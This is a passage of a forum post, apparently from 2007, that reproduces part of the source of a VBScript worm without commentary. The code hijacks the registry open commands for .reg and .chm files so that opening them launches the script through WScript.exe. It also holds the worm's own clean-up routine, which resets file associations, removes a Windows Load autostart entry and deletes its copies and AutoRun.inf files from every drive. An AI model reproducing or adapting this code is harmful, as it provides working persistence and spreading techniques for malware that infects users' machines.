Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetchmFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
'AXFBJZVUJQJ2_16
'FZYPNDNZFQKQY1_8
Sub RestoreSystem(objfso)
On Error Resume Next
Dim Value, dc, d, HCULoad
Call SafeSet()
HCULoad = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Load"
If ReadReg(HCULoad) = FullPath_V1 Then
Call DeleteReg(HCULoad)
End If
Value = "%SystemRoot%\system32\NOTEPAD.EXE %1"
If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\")<>Value Then
Call WriteReg ("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End If
Value = "regedit.exe " & """%1"""
If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\")<>Value Then
Call WriteReg ("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End If
Value = GetSFolder(1) & "hh.exe " & """%1"""
If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\")<>Value Then
Call WriteReg ("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\", Value, "REG_EXPAND_SZ")
End If
Value = "%SystemRoot%\system32\winhlp32.exe %1"
If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\")<>Value Then
Call WriteReg ("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End If
Value = """%1"" %*"
If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command\")<>Value Then
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command\", Value, "REG_SZ")
End If
Set dc = objfso.Drives
For Each d In dc
If objfso.FileExists(d.DriveLetter & ":\" & Name_V1) = True Then
objfso.DeleteFile d.DriveLetter & ":\" & Name_V1
objfso.DeleteFile d.DriveLetter & ":\" & "AutoRun.inf"
End If
Next
If objfso.FileExists(FullPath_V1) = True Then
Set vf = objfso.GetFile(FullPath_V1)
vf.Delete
End If
If objfso.FileExists(FullPath_V0) = true Then
Set vf = objfso.GetFile(FullPath_V0)
vf.Delete
End If
If objfso.FileExists(FullPath_Config) = True Then
objfso.DeleteFile FullPath_Config , True
End If
End Sub
'AXFBJZVUJQJ1_8
'rotartsinimdA
</SCRIPT>
[ 此贴被亦可在2007-12-04 15:10重新编辑 ]